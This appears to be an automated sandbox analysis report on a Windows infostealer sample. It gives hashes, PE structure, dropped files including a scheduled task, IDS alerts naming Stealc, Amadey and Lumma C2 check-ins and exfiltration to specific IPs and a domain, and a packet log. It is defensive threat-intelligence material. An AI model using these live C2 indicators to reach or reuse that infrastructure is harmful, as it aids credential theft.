.........

C:\Users\user\DocumentsCFBAKKJDBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3272192
Entropy (8bit):	6.6292336497999225
Encrypted:	false
SSDEEP:	24576:0Ic99kfAwFYga8JdMmxyJIy095+gweSjbm0/taN6J//9ehRxYPaKBNpI0muUU7cu:CMfTFYwJKmxyJQ5DKaN6kmBvI0sMHr
MD5:	9E19954BD113E38187CE4690720F936F
SHA1:	BDE75DA637F602EE415E38F32E38135D224296F1
SHA-256:	797010C216760A2DEAEADEDD5AFBEA855F61C0C857C1A96D0743C6BB4BAE112F
SHA-512:	2CEBE8FF2CB1BE60ABC3A111A08CF27D04158077C74B67BED5A2D3D2C0803BE06ED5B39AD6CF84A657A9212C2B5E63549D6808E36C4197A0078F4DE152E054B3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.....\.2...@.................................W...k.............................1.............................h.1..................................................... . ............................@....rsrc...............................@....idata ............................@...youvernl.@+......4+.................@...opxotnvx......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCFBAKKJDBK.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4569708414839613
Encrypted:	false
SSDEEP:	6:3u22mXUhXUEZ+lX1CGdKUe6tE9+AQy0lB4Zut0:e2v4Q1CGAFD9+nVB4At0
MD5:	45EA4056AE81A871EDC7AA47B1EF8B8F
SHA1:	9BC9F790F2404C8662B5362E52A507080C0B08FA
SHA-256:	715F6E718E63F3365F5F6134530EF636B650D9A4FA3A99DDB96EF74FE737B3B5
SHA-512:	16523BDBE4EA97387C75EC4337233C8A8DBE96E818FE8E6D423498045A15B22C08B4D1E9F566989C08B431BF26CCF6CC0E99A29BC5845DF3FD123E525D985545
Malicious:	false
Preview:	....iY2...~F.ZH....`F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94533916580552
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'784'832 bytes
MD5:	d65607f5b37e8b0349921feca6ddae17
SHA1:	e1e65d7a209153a35e2f107e17192640cd58f907
SHA256:	b95f8586061a739534e67599e796b47c31dd4b392159533121ff6b68239743c9
SHA512:	ecbf0a8f99d2d87722ad37a0ea8dc5babdfe6f9ea30fd73c0d0dccd4bfdc5579827bd1d45cb8ea350426563997365bcca3c1c1b38f2266752bcd81082369a959
SSDEEP:	49152:KBNGafVB4Ul1Zfii//4JsZAXT1USLKcYdCWD:iYa92OvvoJsmXT7LxED
TLSH:	CC8533747AF9B472C085FD3F567B7AC52F72CE64428A0F216E8BC1EE141B596542110E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa89000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F256C8A346Ah
hint_nop dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	204ad4be07b63a648f839434c403cf2a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a2000	0x200	1e76a7902ea5ce69d0bed32e7635146d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yumhawtm	0x4ee000	0x19a000	0x19a000	f06ee8555069c59949ce57515645d25a	False	0.9949254477896341	data	7.953716629880703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fluclfuh	0x688000	0x1000	0x400	3171d0400265f3c50891e2d29dcd9e20	False	0.806640625	data	6.288364790860433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x689000	0x3000	0x2200	a38dd320be9ed92496fc5f5f2915c52c	False	0.05778952205882353	DOS executable (COM)	0.7435647430951641	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T18:08:10.183422+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:08:10.474938+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:08:10.486996+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-13T18:08:10.775748+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:08:10.840068+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-13T18:08:12.079881+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:08:12.610786+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-13T18:08:22.732049+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.6	49797	TCP
2024-11-13T18:08:32.842648+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:34.037893+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:34.647847+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:35.138145+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:36.334618+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:36.803287+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.206	80	TCP
2024-11-13T18:08:41.105094+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49988	185.215.113.16	80	TCP
2024-11-13T18:09:01.305313+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.6	50106	TCP
2024-11-13T18:09:05.800855+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50123	185.215.113.43	80	TCP
2024-11-13T18:09:09.238501+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50126	185.215.113.16	80	TCP
2024-11-13T18:09:12.242101+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	52382	1.1.1.1	53	UDP
2024-11-13T18:09:13.215055+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:13.215055+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:13.276740+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50124	TCP
2024-11-13T18:09:14.181961+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50128	185.215.113.43	80	TCP
2024-11-13T18:09:14.576652+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:14.576652+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50127	172.67.174.133	443	TCP
2024-11-13T18:09:15.099041+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50129	185.215.113.16	80	TCP
2024-11-13T18:09:15.564601+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:15.564601+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:16.714578+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:16.714578+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50130	172.67.174.133	443	TCP
2024-11-13T18:09:17.893228+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50131	172.67.174.133	443	TCP
2024-11-13T18:09:17.893228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50131	172.67.174.133	443	TCP
2024-11-13T18:09:19.309932+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50132	185.215.113.43	80	TCP
2024-11-13T18:09:20.409845+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50133	185.215.113.206	80	TCP
2024-11-13T18:09:20.881550+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50135	172.67.174.133	443	TCP
2024-11-13T18:09:20.881550+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50135	172.67.174.133	443	TCP
2024-11-13T18:09:23.308552+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50136	185.215.113.43	80	TCP
2024-11-13T18:09:24.113522+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50137	172.67.174.133	443	TCP
2024-11-13T18:09:24.113522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50137	172.67.174.133	443	TCP
2024-11-13T18:09:24.222052+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50138	185.215.113.16	80	TCP
2024-11-13T18:09:25.193467+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:25.193467+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:25.968933+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:25.968933+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50139	172.67.174.133	443	TCP
2024-11-13T18:09:27.012492+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:27.012492+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:27.967418+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50146	172.67.174.133	443	TCP
2024-11-13T18:09:27.967418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50146	172.67.174.133	443	TCP
2024-11-13T18:09:27.977518+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:27.977518+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50145	172.67.174.133	443	TCP
2024-11-13T18:09:28.785967+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50147	185.215.113.43	80	TCP
2024-11-13T18:09:28.957967+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50146	172.67.174.133	443	TCP
2024-11-13T18:09:29.124703+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50148	172.67.174.133	443	TCP
2024-11-13T18:09:29.124703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50148	172.67.174.133	443	TCP
2024-11-13T18:09:30.353294+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50149	172.67.174.133	443	TCP
2024-11-13T18:09:30.353294+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50149	172.67.174.133	443	TCP
2024-11-13T18:09:30.360923+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50149	172.67.174.133	443	TCP
2024-11-13T18:09:31.000598+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50150	172.67.174.133	443	TCP
2024-11-13T18:09:31.000598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50150	172.67.174.133	443	TCP
2024-11-13T18:09:33.439587+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50157	172.67.174.133	443	TCP
2024-11-13T18:09:33.439587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50157	172.67.174.133	443	TCP
2024-11-13T18:09:36.983096+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50160	185.215.113.206	80	TCP
2024-11-13T18:09:37.536861+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50161	172.67.174.133	443	TCP
2024-11-13T18:09:37.536861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50161	172.67.174.133	443	TCP
2024-11-13T18:09:37.632619+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50162	172.67.174.133	443	TCP
2024-11-13T18:09:37.632619+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50162	172.67.174.133	443	TCP
2024-11-13T18:09:38.235825+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50162	172.67.174.133	443	TCP
2024-11-13T18:09:38.980046+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	56275	1.1.1.1	53	UDP
2024-11-13T18:09:39.156020+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50164	185.215.113.16	80	TCP
2024-11-13T18:09:40.061158+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50165	172.67.174.133	443	TCP
2024-11-13T18:09:40.061158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50165	172.67.174.133	443	TCP
2024-11-13T18:09:40.081401+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50165	172.67.174.133	443	TCP
2024-11-13T18:09:42.866996+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.6	50168	172.67.174.133	443	TCP
2024-11-13T18:09:42.866996+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50168	172.67.174.133	443	TCP
2024-11-13T18:09:43.806858+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50168	172.67.174.133	443	TCP
2024-11-13T18:09:44.147664+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50170	185.215.113.16	80	TCP
2024-11-13T18:09:55.668825+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50183	185.215.113.206	80	TCP
2024-11-13T18:10:02.897917+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50235	185.215.113.206	80	TCP
2024-11-13T18:10:09.336287+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	60222	1.1.1.1	53	UDP
2024-11-13T18:10:26.301417+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	64871	1.1.1.1	53	UDP
2024-11-13T18:10:45.272711+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	62844	1.1.1.1	53	UDP
2024-11-13T18:11:07.757978+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	52734	1.1.1.1	53	UDP
2024-11-13T18:11:20.070521+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	64797	1.1.1.1	53	UDP
2024-11-13T18:11:37.304555+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.6	65518	1.1.1.1	53	UDP
2024-11-13T18:13:05.263771+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50353	52.168.112.66	443	TCP
2024-11-13T18:15:00.025902+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50404	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 18:08:01.055022955 CET	49673	443	192.168.2.6	173.222.162.64
Nov 13, 2024 18:08:01.057657957 CET	49674	443	192.168.2.6	173.222.162.64
Nov 13, 2024 18:08:01.383093119 CET	49672	443	192.168.2.6	173.222.162.64
Nov 13, 2024 18:08:05.419615030 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:05.419713020 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:05.419790983 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:05.420396090 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:05.420432091 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:06.532911062 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:06.533066034 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:06.536626101 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:06.536638975 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:06.536998034 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:06.539016962 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:06.539141893 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:06.539148092 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:06.539521933 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:06.583353996 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:07.046574116 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:07.047159910 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:07.047195911 CET	443	49713	40.113.110.67	192.168.2.6
Nov 13, 2024 18:08:07.047219992 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:07.047256947 CET	49713	443	192.168.2.6	40.113.110.67
Nov 13, 2024 18:08:08.949966908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:08.954890013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:08.954994917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:08.955513000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:08.960300922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:09.528533936 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:09.528635025 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:09.528748989 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:09.529020071 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:09.529057026 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:09.873761892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:09.873857021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:09.881524086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:09.886639118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.183351040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.183422089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.184371948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.191162109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.301493883 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.301583052 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.303564072 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.303596973 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.303828955 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.313658953 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.359338045 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.474879980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.474894047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.474937916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.477132082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.486995935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.537278891 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.537350893 CET	443	49715	13.107.246.45	192.168.2.6
